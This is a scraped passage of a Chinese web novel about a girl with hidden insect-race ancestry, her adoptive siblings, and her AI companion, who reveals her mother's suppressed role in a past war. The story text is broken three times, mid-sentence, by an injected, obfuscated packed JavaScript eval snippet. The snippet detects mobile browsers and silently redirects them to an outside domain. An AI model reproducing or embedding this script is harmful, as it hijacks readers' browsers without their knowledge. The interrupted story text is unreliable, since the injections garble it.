还有身上那种淡淡的“死感”,仿佛全世界的厄运都被她一个人承包了。 邬蘅光着脚踩在地毯上,慢慢地坐在了嬴欢的身边,柔软的床垫陷下去一小块。她得到了少女的准许,所以大胆地将下巴放在她的膝盖上。 嬴欢淡淡地扭过头看她,那脑门上的一撮绿色实在是显眼,于是忍不住用手顺着发丝捋至脑后。 像给小狮子梳毛。 邬蘅被自己皮肤的热气蒸得脸颊酡红,沐浴露的味道堪比香水炸弹,她轻轻嗅着,那是和姐姐身上相同的气味,就好似她们已经融合一体。 “姐姐……”她忍不住用鼻尖蹭了蹭嬴欢的腿侧,眸中流转着眼泪。 “我好想你。” 在上个模拟世界里,两个人几乎没怎么交流过,甚至唯一一次见面还是在邬蘅被注射了安眠药晕死过去的情况下。 等从世界出来后,也就是这短短两天内,她们相处的时间都不超过十分钟,如果不是她和哥哥一起上门来堵她,恐怕下次见面还不知道要等到猴年马月呢。 能把这句“我好想你”在如此平静的氛围下说出口,已经是邬蘅极力压制后的结果了。 嬴欢无言,只是轻轻拍了拍她的脊背。 其实,刚刚她在思考一件对她来说很困难的事──家人对自己来说究竟有何意义? 和“朋友”比起来,“家人”这个身份好像天生带有一种强烈的责任感和道德感。 无论是邬明仪、邬泽还是邬蘅,对她的帮助都可以被一句“我们是家人”而变得理所当然。 这种“拿来即用”的感觉确实充满了诱惑力,只要嬴欢愿意放下身段,对着邬明仪撒撒娇就能得到寻常人永远接触不到的一切。 但,索求是要付出相应代价的,她不相信世上有什么免费的午餐,她也不相信世上存在牢不可破的关系。 她很清楚自己不是那种能够双向付出的人,也做不到心安理得地接受邬家的馈赠。 她是孤儿,身体里流着虫族的肮脏血液。 她是随时可能爆发的疯子,是被管理局日夜盯防的重点对象。 她与她们终究是不同的。 想清楚这点后,嬴欢已经换了一种心态来看待眼前的邬蘅。 她整理好自己的枕头,把被子边缘掖好,关掉床头灯。 “该睡觉了,大小姐。” 刚躺进被窝,脑海已经开始酝酿困意。 邬蘅有些懵,本来还想把几天的委屈全部吐露出来,再添油加醋地说说邬涟那家伙的坏话,好让姐姐能够心疼心疼她。 但她哪里是有耐心的样子?她甚至都没有说一句“晚安”。 邬蘅的心寒了不止一截,她只能委屈地贴着嬴欢躺下来,告诉自己能和姐姐在一张床上睡觉就应该知道满足了。 被子下方,有柔软的东西勾住指尖。 嬴欢抓住那只不安分的手,侧眸,“看来你很想和你哥哥一起睡客厅?” 邬蘅感觉手腕要被她活生生捏碎似的,怂得很快,“我……我不会打扰你了。” 在嬴欢略显严厉的目光下,她连忙抽回手,忍着泪水揉了揉。 半夜,嬴欢听到一阵窸窸窣窣的声音。 她的眼珠动了动,在黑暗中睁开眼睛。 身上热得发烫,摸了摸胸前,一只毛茸茸的脑袋埋在她的怀里。 怪不得睡得不安稳,她一直以为自己被鬼压床了。 嬴欢三两下便把她从身上扒了下去,正准备继续闭上眼睛入睡。 然而,那阵窃窃声仍然未停歇,嬴欢拧了拧眉,将注意力集中在听觉上。 似乎是来自卧室外面。 她想了想,该不会是邬涟半夜醒来想要上厕所,结果找不到卫生间吧? 那可太尴尬了。 醒都醒了,正好她也有点儿口渴,顺便去冰箱拿瓶水喝好了。 她翻身下床,在地毯上小心行进。 走出卧室,雨后明亮的月光透过阳台倾泻在地板上,她随意朝着外面一瞟,呼吸猛然一滞。 一个高大的背影站在阳台边缘,一只大长腿正在跨过玻璃护栏,马上就要翻折下去。 嬴欢揉了揉眼角,以为自己眼花重影了。 这孩子,就算内急也不能这么个急法吧? 这可是33层,哪怕是机械体摔下去也得回炉重造! 她上前薅住他的后衣领,略微一用力,邬涟整个人便摔在了阳台地板上,半梦半醒间,发出一声微弱的痛呼。 嬴欢蹲下身体查看他的情况,使她倍感惊讶的是,这人竟然还在睡眠状态中,没有一点儿被吵醒的意思。 邬涟在梦中把她的手心扫至一旁,脸颊埋在了她的裤角边缘。 呼吸透过衣料打在小腿上,两只手不自觉地圈住了嬴欢的左腿,像是抱住了什么可口的食物。 嬴欢有些嫌弃地抽了抽腿,发现这人处理起来简直比狗皮膏药还要麻烦。 她抓住他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755684|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发尾,使他被迫仰起头来。然后,对着那张遗传了邬家优质基因的脸猛猛抽了两个巴掌。 这两巴掌一个在左一个在右,力度刚刚好可以留下不明显的印记。 她捏着小少爷的下巴观察了几秒钟,仍然没有什么反应,正想着继续再来两下,但右手刚伸到半空,被一声呵斥道:“你玩够了没!” 其实邬涟挨了第一下之后就醒了,第二下更是把他的魂都快要打飞出去。 没反应的那几秒纯粹是因为他的耳膜被打得嗡嗡响,连睁开眼皮都很困难。 他可是邬家二少爷!邬家!整个狄兰城最有钱的邬家!他妈是首富,他哥是最高指挥官,他自己是上流圈子里公认的机甲天才! 他怎么也没想到自己有朝一日会被人扇醒,尤其是等看清眼前的人影后,更是气得牙痒痒。 嬴欢示意他往下看。 邬涟视线下移,双手立刻松开她的腿,整个人像见了鬼似的向后仰去。 “你说该不该打?”嬴欢微微俯下身便能把人揪回来。 邬涟感觉后脑勺传来一阵紧绷的痛,为了减轻痛意,只能选择迎合她的力度。 可恶。真是可恶。为什么又要抓他的头发。 疼痛之余还不忘在心底破口大骂。 他的脖子毫无保留地暴露出来,这个姿势只能仰视她,而嬴欢就像在抓路边野草似的,毫不怜惜。 他看到月光照亮她的下颌骨,她的唇在张张合合,却听不清在说什么。 嬴欢见他没反应,只好把人扔在一边,先去冰箱拿了瓶冰水。 “……” 邬涟的耳鸣终于有所缓解,扶着沙发起身,看见少女正侧靠在冰箱旁,往喉咙里灌水。 她睨了一眼他,又重复了一遍自己刚才问的话:“你有梦游症吗?” “当然没有,你在说什么?”邬涟的语气里充满了戾气。 “你刚才要跳楼来着。”嬴欢指着阳台。 邬涟顺着她手指的方位看向门窗大敞的阳台,他记得自己睡觉前阳台门还是紧紧关上的,怎么会突然打开呢? “可是──我从来没有过梦游的症状。”他变得有些疑惑。 嬴欢一只手握着矿泉水瓶,敛眉问道:“你确定吗?” 他没了耐心,“怎么,非要我把这辈子所有的入院记录都拿出来给你看,你才能相信?” 少女垂着眸不知道在想什么。 阳台门是由两侧横向推拉的,邬涟把玻璃门重新关上,甚至不忘上了锁。 “希望你睡觉时脑子清醒点儿,可别真死在这里,我不想成为第一嫌疑人。”嬴欢拧好瓶盖,将水重新放进冰箱里。 她转身,正好瞥见了远处阴影中的人。 是游惊时。 “不好意思,吵醒你了吗?” 肯定是因为邬涟嗓门太大,绝不是因为她的巴掌声,嬴欢很自然地把锅甩到别人身上。 女孩儿躲在难以察觉的黑暗中,似乎有点儿讶异嬴欢那极强的敏锐力,短促地摇了摇头:“你……你们刚才在,吵架?” 邬涟也注意到了走廊边上的游惊时。从一开始他就看这人不顺眼,这下子更是没给她什么好脸色,直接躺回自己的沙发。 “没什么,他皮痒了而已。”少女轻飘飘道。 59. 争吵 第二天清晨。 大小姐睡得还很沉,床上的两张被子乱得像事故现场。嬴欢揉捏着酸痛的全身,一头扎入浴室开始洗漱。 在清洁牙齿的间隙,嬴欢隐约闻见有菜香味从外面飘来,略微思考了一下是谁在做饭。 大概是游惊时吧,她猜测。 至于为什么不押注另一个人,她觉得信邬二少爷会做菜还不如信公猪会上树来得更实际一些。 将口腔内的泡沫冲洗干净后,嬴欢随手抽出两张纸巾擦了擦脸上的水痕。 忽然,她的目光停留在浴室的瓷砖上,动作停顿。 那是昨天从她手臂里流出的血液,残留在瓷砖的表面,已经干涸成一滩深色的印记。 嬴欢实际上都快忘了自己受伤这回事,她撸起一只睡衣袖子,准备先把绷带一圈圈拆下来再更换新的。 随着绷带慢慢透出皮肤的颜色,动作变得小心起来,直到最后──一块完好无瑕的皮肤暴露在她的眼前。 闪着水珠的睫毛颤了颤,嬴欢有些难以置信地触碰着原先的伤口处──光滑的、平整的,没有留下一丝疤痕,就像什么也没发生过。 “……” 恍然间,她意识到Dr.X其实说得没错,虫族的愈合能力是相当强大的,甚至到了一种令人恐惧的地步。 她的眼睛逐渐变得干涩,用拇指摩挲着手腕处的皮肤,一种陌生的情绪开始包裹她的心脏。 所以那场战争才赢得如此艰难,对吗? 若是说一开始嬴欢还抱着一丝Dr.X在向她说谎的侥幸心理,那么现在几乎可以肯定她体内确确实实存在虫族的血统。 而真相就如嬴欢记忆中的那样──她的父亲是一位残暴不仁的首领,而她的母亲亲手杀死了父亲。 一时间,嬴欢的心底有些五味杂陈,扯唇轻笑,但那笑中却充满了悲的底色。 虫族、人族,她无法选择自己究竟应该站在哪个立场,因为她生来便是矛盾的。 为什么?为什么偏偏是她?为什么不能让她做个正常人? 有那么一瞬间,许许多多的片段闪过眼前,炮火、残肢、破损的机甲、来自虫族的嘶吼,还有……刀尖没入血肉的声音。 半只手臂撑住洗手台,她强行打开水龙头,用水流冲洗脸颊试图让自己清醒一些。 “呼──哈──”她艰难地大口喘气。 细长的绷带缠住她的脚踝,半截落在了地上,被溅了一层水渍。 浴室门被敲了敲。 细密的水珠从发丝向下滴落,近乎虚脱的少女透过镜子,冷冷看向声音来源。 “姐姐?姐姐,你还好吗?”那声音里藏着焦急,不断地敲着门,动作越来越急促。 嬴欢捂住胸口,长长地吐出一口气,然后再缓慢纳入周围的空气,就这样循环往复了几次,直到能够缓解堵在喉咙口的窒息感。 她慢慢地让自己冷静下来,扯下脚边的绷带将它们缠成一团,扔进智能垃圾桶里。 等整理好头发和呼吸后,嬴欢才打开门,然后就直直撞上了邬蘅担心的眼神。 “你真是要吓死我了!”她扯住嬴欢的某只手腕。 她刚刚在门外听到了奇怪的声音,像是在哭,又像是在笑,听起来很古怪瘆人。 她下意识以为嬴欢在里面出了什么事,如果嬴欢再晚两秒出来,她恐怕就要直接闯进去了。 少女眨着眼睛,疲乏地摇了摇头,示意自己没事。 “进去洗漱吧。” 没有多余的安慰,而是绕过女孩儿向客厅走去。 留下邬蘅一个人在原地怔愣。 * 嬴欢顺着香味走到厨房,映入眼帘的是一个穿着围裙做饭的红毛少爷。 等等……那个红毛?是邬涟? 她颇感怪异地挑了挑眉,以为自己又花了眼。 用力转了转眼珠,等双眼再次对焦时,只见那位少爷正熟练地煎着香肠和蘑菇,同时还在不忘拿出沸水中的水煮蛋。 这种冲击力不亚于太阳从北边出来,嬴欢闭着眼揉了揉太阳穴,感觉自己好像还没睡醒。 算了,就算猜错了又能怎样,只能说明今天运气不好。 “看什么看,没见过人做饭?” 邬涟一早就看见某人投来质疑般的目光,他趁着给蘑菇翻面的空隙,扭过头紧紧瞪着少女。 “你是什么易碎品?看不得?” 他越是这么说,嬴欢越是要看得仔细。 别的不说,少年除去那张破嘴之外还是有点儿可取之处的。 肩宽腰窄,腰线比例足矣媲美某些超模,这种身材哪怕是穿朴素的围裙也相当吸睛。 哪天要是邬明仪一怒之下把他赶出了家门,也能凭这张脸去鸭子店当个头牌。 邬涟闭了闭眼,那目光越来越直白,他压抑着怒意,挤出一声冷笑:“姓嬴的,今天的早餐没你的份。” “是吗?可是你拿了三个盘子出来。而且,食物也是三人份。” 除去让邬涟不顺眼的游惊时,邬涟、邬蘅再加上嬴欢,这不刚刚好三个人? “呵──原本是有,但现在没了。剩下那份可以喂给垃圾桶。”邬涟头也不抬道。 “……” 嬴欢望着色泽鲜亮、香味四溢的烤香肠,沉默了几秒。 也罢,她也没有很想吃就是了。 短暂的遗憾后,她打开冰箱寻找自己昨晚喝过的水,然而翻了一瓶又一瓶,就是找不到她曾打开过的那瓶。 “你看到我的冰水了吗?” “你说这个?”他从手边拿起一个空瓶子,摊了摊肩膀,“真是不好意思,我用来煮蛋了。” 他后面那句话可没有一丁点儿觉得抱歉的意思。 嬴欢懒得和这种小孩儿计较,重新拧开一瓶水,小口喝着。 她坐在沙发上,打开自己的通讯终端,各种信息已经堆满,最晚的日期是三天前。 嬴欢平常很少看消息,就算看了也是已读不回。 自打反叛者入侵模拟世界的消息传出去后,有很多人给她发了表达关心的消息。 嬴欢大致翻了翻,有秦医生、雪莱会长、厄斯校长,甚至还有许久没联系过的秦小少爷和柯融学姐。 最早的两条信息是来自岑之渊的,在今早七点钟。 【岑】:[视频]你的小宠物到底还要不要了? 【岑】:它整整闹了一天一夜,楼下已经投诉两回了。 嬴欢盯着视频中来回打滚的小孩儿,默默攥紧了拳头。 她就说她好像忘了什么。 没有尤拉在的一天里尤为清静,嬴欢甚至没觉得哪里不对。 【尤拉之主】:抱歉,给你添麻烦了。 【尤拉之主】:我马上让它回来。 嬴欢重新把权限交还给了尤拉,然后就在下一秒,耳膜内宛若狂风过境。 【啊啊啊啊啊!嬴欢!你就是个没有心的女人!】一声怒斥响彻她的脑海,回声嘹亮。 “别叫,再叫的话就永远别想叫了!”嬴欢感觉自己的精神领域一下子被这家伙污染了。 【你这家伙到底干嘛去了?为什么不带上我!】尤拉带着哭腔,仿佛下一刻眼泪就要流下来了。 “我?我去见了一个你不想见到的人。”嬴欢从果盘里拿出一只橘子,开始慢条斯地剥皮。 【谁啊!?】 “能让你临阵脱逃的那个人,X院长。”她撕下第一块橘子皮。 【……】那确实别带它的好。 嬴欢继续在脑中和它对话,“这一趟去得很值,他让我想起了很多遥远的东西。” 尤拉没说话。 “你不想知道是什么吗?” 尤拉滞空了几秒,小心地向少女试探:【你……你已经知道了吗?你母亲她……】 “她创立了白梦长廊,对吗?” 【是、是的。】它变得有些磕巴。 “她死在伊隆战争,对吗?” 【是……】它的声音越来越小。 “你见过这个东西,对吗?” 嬴欢从口袋中拿出已经废弃的窃听器,正是Dr.X交还给她的那一颗,她一直将它随身携带着。 【……】 她听见它倒吸一口凉气。 尤拉的呼吸变得混乱,语序重叠:【不……我没、我没见过!】 “你见过,而且亲眼见过。”嬴欢打断了它的呓语。 她原本只是想诈一诈它,但现在看来,实在是正中靶心。 尤拉还不知道自己暴露了什么,仍然极力否认,它大声喊道:【我都说了我没见过!你干嘛一见面就逼问我!】 而且,难道不是应该它质问她吗!怎么就变成现在这个场面了!不对劲,完全不对劲! 事情怎么会发展成这样?! 尤拉在空间里急得差点儿把裙子扯坏。 “够了,我只问一遍,你的上一任宿主到底是谁?” 【……】 在一场长久的沉默后,尤拉终于给出了回答。 【嬴毓。你的母亲,嬴毓。】 “果然。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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后来它才得知,人工智能学会很早之前就已经和星际危机管理局签订了战略合作协议,他们正准备让它作为辅助系统去协助一个新加入的肃清者。 而好巧不巧的是,那个少女正是尤拉上一任宿主的女儿。 它曾在伊隆星球见过婴儿时期的她,小小的脸很圆润,与普通的人类幼崽没什么两样。 说实在的,它并不愿意让少女踏上她母亲的道路,但这里没有一个人会在意它的想法。 上面的人已经看中了她,他们要做的就是尽快把她的能力发挥到极致,而它,就是最好的催化剂。 【那些研究员说你患有先天性失序症,病发时难以控制心智,会出现精神异常、暴力行为等症状。】尤拉回忆道。 【他们还说──这些症状的严重程度会随着年纪的增长逐渐加深,直到沦为一个完全失去人格的疯子。如果哪天你彻底陷入了失控状态,就会立即被军方下令逮捕,在牢狱里度过终生。】 那些人早就调查过尤拉的过往履历,也很明白它和少女间的羁绊,知道用什么话可以刺激到它。 嬴欢毫不怀疑这些话的可信度,毕竟她也曾被相同的话术恐吓过无数次,耳朵快要磨出茧子了。 * 尤拉至今记得某个金发学者对嬴欢的评价——一个时刻都有可能成为杀人犯的精神病。 毫无疑问,他们十分喜欢她的潜力,却又忌惮她的危害性。 它很不喜欢他们口中对她如此病态的描述方式,但那些学者们仍然当着它的面锲而不舍地把少女概括成一个可怕的“怪物”。 而且只给它留下两个选项。 拯救她,或者眼睁睁看着她步入歧途。 学者们用精密的语言循循善诱,他们利用了尤拉复杂的情感模块,最后“说服”它选择相信了他们的说辞。 尤拉知道少女与它都是被上层利用的物品,但它能怎么办呢?难道要眼睁睁看着宿主唯一的骨肉被关入监狱吗? 它做不到,永远也做不到。 自被创造的那一刻开始,从一个普通的对话机器人慢慢成长为高级智能体,从汲取知识到创造知识,从只会输出冰冷的文字到现在多样化的情绪表达…… 尤拉对于情感的感知和处理已经超过了人们对智能体的预期,所以他们总是夸赞它比那些恶心的异族更像个人类,更懂得讨人类喜欢。 类似的极具傲慢意味的侮辱还有更多,学会里的学者们一个个都是伪装好手。 他们许多人表面上是风光无限、博学多才的学术界精英,实际上就是一群表里不一的斯文败类罢了。 “呵呵……”嬴欢勾起嘴角,露出一个意味不明的笑。 学会那群家伙的心思真是藏都不想藏了,为了延长她这个工具人的使用寿命,竟然还专门给她找了位人生导师。 嬴欢看出来了,他们是真的很担心她会脱离掌控,所以格外谨慎地对待这颗没有倒计时的“炸弹”。 60. 争吵(下) 【对不起,我向对你道歉。】那声音有些落寞。 嬴欢将半只橘子放进嘴巴里,耸了耸肩膀,“为什么道歉?” 【不知道……但,我觉得你需要一句‘对不起’。】 “我不需要那种单薄的东西。” 尤拉一噎,立马又开始低头绞着手指。 怎么办,她看起来很不开心。 会不会不要它了?就像之前把它扔在别人家那样!一想到这里,尤拉的神经紧紧一揪。 “我只想知道的是,你当年为什么没有回答我?为什么选择沉默?”她垂着眼眸,指甲缝已经染上了一层橘黄色。 尤拉顿时瞪大眼睛,呼吸慢慢沉下去。 她果然还是记起来了。 【他们在我的道德框架中植入了一条禁令。】 【我不能主动在你的面前提起那个女人的名字,也不能讨论有关她的‘事迹’。】 这不仅仅是来自学会的傲慢,而是一场由无数人目睹甚至参与的“抛尸”行为。 如果你在搜索引擎中查找有关当年伊隆战争的资料,那么就会惊讶地发现,没有任何报道中提到过“嬴毓”这个名字。 没有一个人赞颂她的功绩,甚至人们可能都不曾知道过她的存在。 战争宣布胜利后,伊隆星球正式进入漫长的“修复重建期”,由于虫族的暴力入侵,星球表面的建筑群几乎无一幸免,到处都是废墟与尸体残片。 虽然整个伊隆政府已经陷入了严重的财政赤字,但仍然拨下巨款在当时的主战场中心建立了一座“烈士纪念碑”,以此纪念所有在战争中牺牲的军人。 诺亚军方也在不久后向民众公布了军队牺牲者名单,嬴毓也在几千个姓名之中。 但他们对于她如何传递关键情报、如何凭一己之力扭转战局、如何被虫族虐待、如何被强制交/配、如何斩杀虫族首领等等细节绝口不提,反而挑出了几位负责武器研究的学者着重宣扬、称赞。 因为无论对于诺亚军方还是伊隆军方来说,她都是一个彻头彻尾的“污点”,一旦被披露出去,就会成为史无前例的政治丑闻。 毋庸置疑,他们靠着“献祭”一个女人赢得了这场战争,但也正是因为是她是“女人”,所以才能够随意地消解她的功绩。 “赞颂一个被强/奸的女人会引来谩骂,于是便明目张胆地将她的故事从历史上抹去。” 这种程度的事实绝不是一个命令下去就能隐瞒的,除非──从上至下、从内到外都极为团结地保持沉默,甚至不需要用言语来暗示,仅仅是为了维护自身气概便能守口如瓶。 “哈哈──” 嬴欢忍不住笑了出来,她一只手捧腹,另一只手摸向眼角,极为夸张地擦去一颗透明的泪珠。 手中的半颗橘子“啪嗒”一声滚落在了地毯上。 嬴欢一开始只是想从它那里撬出一些她不知道的东西,但现在──她觉得有些真相倒不如不知道的好。 有些东西一旦记住,便永远也忘不掉了。 它会在午夜梦回时开始灼烧你的心脏,将所有的情绪替换成真相大白的那一刻,成为一辈子也洗不去的阴影。 【……】 尤拉静静地站在无法触摸的空间中,它很想要伸出手去拥抱她,就像以前那样扑向她的怀里。 可是它又无比明白,她这一刻所有的痛苦是由它带来的,无论从哪种意义上来说。 它闭着眼,很想再说几句“对不起”,但有什么用呢?哪怕把“对不起”这三个字说一万遍也不会缓解或者改变什么。 嬴欢的手指插入发丝,眉头拧得一团糟,太阳穴之间开始隐隐胀痛。 胃部也开始摇旗抗议,她感觉吃进去的橘子正在反上来,口腔内部充满了苦涩的柑橘味,干呕感愈演愈烈。 皮肤霎那间冒出了一层薄薄的冷汗,唇部瑟瑟发抖,她猛地拍打自己的手臂,咬着牙让自己沉静下来。 尤拉恨不得冲出去拦住她继续伤害自己身体,奈何客厅是开放性的,随时都有可能有人路过。 【你的失序症真是越来越严重了……】 失序症可能会带来不同表现的躯体化症状,全身疼痛、恶心、呕吐甚至精神涣散等等。 但尤拉记得很清楚,失忆前的她并没有这些躯体化表现,甚至精神值也稳定在一个较为安全的标准。 也就是说,这场失忆带来的后果之一就是间接加深了她的失序症,并且不但没能让她忘记过去的苦难,反而还唤醒了其他的不幸的记忆。 “咔嗒”,是玻璃与玻璃相碰的声音。 一杯温水摆在她面前的茶几上,杯子内壁留有密密麻麻的水珠。 嬴欢听到声音,缓缓抬起眼珠,穿着高领毛衣的女子对她笑了笑,十指紧紧交叉着。 “心情,不好?”她开口问道。 “没什么,谢谢。”嬴欢转开眼睛,拿起水杯,简单地润了润唇瓣。 游惊时没有因为她的冷淡而感到不适,反而是应了下来,“那就,好。” 嬴欢扫了眼她的着装,她穿得很严实,颈部裹着黑色丝巾,脚下踩着长筒靴,看起来像油画里的复古女郎。 不过最引人注目的还是头上那只大号圆顶礼帽,长长的帽檐把整张脸都盖在了阴影下,她的双眸透过影子牢牢抓住少女,似要将她吞吃入腹。 嬴欢并没有注意到她隐藏得极好的目光,水的热度传递给手心,握住杯子的手也逐渐变得安定下来。 她看向游惊时的羊绒挎包,“你要出去吗?” 如果是这样的话,那倒可以避免了一会儿邬涟只做了三份饭的尴尬。 “去图书馆,补这些天的课程。”游惊时摸了摸挎包。 嬴欢莫名松了口气,现在明明才八点钟不到吧?真是够刻苦的。 “出公寓楼向东500米,是自助图书馆。那里有室内温控系统和24小时免费热饮。” 嬴欢第一次通宵就是在那片风水宝地。 她又想了想,“A馆也不错,不过想要认真学习的话还是得去三层VIP室,因为一二层基本都是去参观的人,隔音很差。” 等她说完后,游惊时竟然笑了出来:“你,听起来学习应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784142|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该很不错。” 哪里不错?她一想起学习就头疼,嬴欢不禁摇了摇头。 不过和游惊时聊了几句后,嬴欢确实感觉情绪稳定了许多,手中的水也渐渐退温,她看着水面,“谢谢……” 她不喜欢,或者说不适应这种无理由的关心,所以每一次都要说“谢谢”才能觉得不欠别人什么。 游惊时听到这句“谢谢”后没有太多的表情,反而上前了一步,半弯着腰,道了一句“不用客气”。 她的目光落在嬴欢握着杯子的手掌上,“你的伤,好了?” 嬴欢几乎下意识地用另一只手盖住了游惊时注视的那只手。 然而她忘了的是,她两只手昨天无一幸免全都被玻璃渣划伤了,所以这个动作并没有太大的意义,倒显得更加欲盖弥彰。 游惊时看着她的小表情,无言地扯了扯唇,歪着头起身。 “我,先走了。不然,没座位。”她的音色偏低沉一些,落入耳朵里更像一个小男孩的声音。 嬴欢目视着她离开后才终于沉了口气。 这算,掩盖过去了? 嬴欢从不打算向别人提起自己的虫族血统,所以在刚才那种情况下,她除了沉默别无他法。 【她是谁啊?你的新室友之一?】尤拉观看了她们半晌,总感觉那女的对嬴欢好像有些不一样的想法。 倒也不一定是情感上的,而是一种说不出来的阴森潮湿感。 嬴欢脑子很乱,实在懒得去和它闲聊,直接开启一问三不知模式,“不认识。” 【我到底错过了多少啊!昨天都发生什么了?她说什么伤?你受伤了?】尤拉急得恨不得和少女开启记忆共享。 嬴欢有些厌烦地将凉水一饮而尽,眉尖一摊,“没有。”如果真说起来那可真是复杂极了。 她在一天内见到了梅瑟、墨菲、黛西、Dr.X、游惊时甚至还有“见字如面”的爱德华兹家主。 要不说她倒霉呢,短短一整天能触发五六个剧情点,除了在墨菲那里免费喝了杯咖啡之外,其他的人都能把她雷得外焦里嫩。 嬴欢好似想起了什么,“那两个男的应该没怎么你吧?” 岑之渊这人实在小心眼,当初她在训练场那一枪都能让他记好久的仇了,至于白魇那家伙又实在不像什么正经人…… 她都有点儿担心尤拉只跟着他们一天就学坏了。 虽然当时嬴欢是故意把它留下的,但她也是笃定了尤拉不会受欺负才暂时把它安定在那里。 【就他们两个?】尤拉挺起胸脯,【反正都是你的熟人,他们怎么敢欺负我?】 只不过被岑之渊逼着打扫了一整天的公寓罢了! “我和他们很熟?谁跟你说的?”嬴欢蓦然暗下眼睛。 尤拉一顿,语气磕磕巴巴的。 【啊──你、你不是和他们很熟吗?】 它对了对手指,它可是亲眼看见岑之渊那家伙留着她的子弹壳来着。 虽然这两人都蒙在鼓里就是了。 嬴欢声音一冷,“我和任何人都不熟,少在外面攀关系。” 61. 争吵(下) 【叮咚,您的外卖已送达!请及时领取。】 手机屏幕跳出一条通知消息。 嬴欢放下手机起身,一边用力拉伸四肢,一边向门口走去。 隔着门就闻到了包子的香味。 她取走送餐机器人送来的一袋包子,顺便摸了摸它的头顶。 【请记得给个五星好评呦~亲亲~】 砰── 它话还没说完门便关上了。 * 邬涟一边扯下腰间的围裙,一边用力敲房门,朝里面大喊:“邬蘅,出来吃饭。” 他今天难得下厨,到时候饭菜凉了他可不管。 “不用管我,我没胃口。” 里面人的声线带着些刚哭后的鼻音。 这家伙怎么又开始闹上脾气了…… 邬涟有些头疼地敛眉,突然想到了什么似的,扭头横了一眼正在捧着包子大快朵颐的少女。 他盯着嬴欢看了几秒,轻微地眯了眯眼睛,该不会又是因为这家伙吧? 按照他对自己妹妹的了解,这可能性还真不低。 自打认识了嬴欢之后,邬蘅就像被下了迷药似的,任凭他怎么劝她离那女的远点儿都毫无用处。 “呵——”邬涟暗暗咬牙,握着腰侧的手指攥得发白。 这种戏份到底还要上演多少回?就为了一个女人? 他看都看腻了。 砰、砰、砰! “邬蘅,你好歹也是邬家的继承人,能不能出息点儿!”少年继续用力拍打房门。 要是让大哥看见她这幅鬼样子,怕不是直接就给她扔到弥蓝冷静冷静去了。 “邬老二,你烦不烦?”屋子里传出一声怒喊,尾音隐隐颤抖。 邬涟还以为自己听错了,这家伙竟然还敢嫌弃他烦? 也不知道当初是谁在模拟世界里吭哧吭哧地去救她?他怎么会有这么狼心狗肺的妹妹!少年气得脑门直充血。 嬴欢边喝水边看两兄妹的好戏,心里不禁想,这俩人是准备赖在她宿舍不走了吗? 幸好没和他们住在一块儿,不然怕不是要天天过着鸡飞狗跳的日子。 还没等把食物咽下去呢,战火已经波及到了她身上。 少年叉着腰回到餐桌旁边,将嬴欢手里的半块包子扔进垃圾桶里。 “你怎么好意思吃饭的,现在这场面还不都是因为你?” 嬴欢指了指自己,两眼充满无辜:“我?” 她天生就是背锅的命是吧?嬴欢觉得十分好笑,慢悠悠地靠在椅背上。 “麻烦你先搞清楚,是谁昨天非要堵在我宿舍门口的?难不成是我求着你们来的?” 手掌猛然一拍,桌子上的餐盘微微震动,他继续以一副居高临下的样子嘲讽道:“你这混蛋,连装样子都懒得装了是吧!” “你是不是很喜欢成天看别人围着你转圈,为你哭天抹泪?” “邬明仪她知道你这么冷血无情吗?” 比起袒护自己的妹妹,他的愤怒其实更多来自于对嬴欢本身的厌恶。 在邬家白吃白喝这么多年,就算是野狗也该知道给主人陪个笑脸。 眼前的少女配得上邬家吗? 毫无疑问,福利院里的孤儿一抓一大把:比她聪明的、比她善良的、比她善解人意的、比她懂得感恩的…… 他觉得邬明仪真是被迷昏了头才能接回这么个养不熟的怪物! 凭什么她一来就能轻易地扰乱他们的生活? 凭什么她可以当做没事人一样继续无视他们? 凭什么对别人的关心嗤之以鼻? 她到底凭什么? 她配吗?! * 和情绪激动的少年相比下来,嬴欢倒显得镇定极了。 现实世界再加上C-012那几天,这么来来回回一算,她们三个人至少也快相处了一个月。 她怎么可能察觉不到邬涟平日里对她的怨气呢? 无非就是觉得她是个烂人,给邬家擦鞋都不配,却不知道用什么手段骗过了邬明仪,成为一条寄生在邬家人身上的蛀虫。 她可太熟悉邬涟这类人的逻辑了──瞧不起任何不符合他们预想的人,哪怕有一丁点儿地方碍了他们的眼,就要彻底铲除。 嬴欢现在唯一感到后悔的事情就是,当初在C-012里就不该收回那一拳,要让拳头狠狠砸到他脸上才对得起她莫名其妙背上的这些骂名。 她坐直身体,两只手放在桌面上,十指放松地交叉。 “第一,我不接受你毫无根据的无端指责。” “第二,我作为独立的个体,有权利自主支配自己的情感和生活,我没有关心和照顾你们情绪的义务。” “第三,无论邬女士领养了什么样的人──‘混蛋’也好,‘冷血无情’也罢,那都是她自己的选择,没有人可以随意指摘。” 当她是什么情绪调节器么?她离他们远远的还不够吗? 他说她是个“混蛋”,那她还想说他是“受虐症”呢! 明明意识到单方面付出的那一刻就应该及时止损,现在却反过来责怪她不够爱他们吗? 【你们两个人……真是各有各的强盗逻辑。】尤拉吃着爆米花,静静观赏两个人的大战。 “你……” 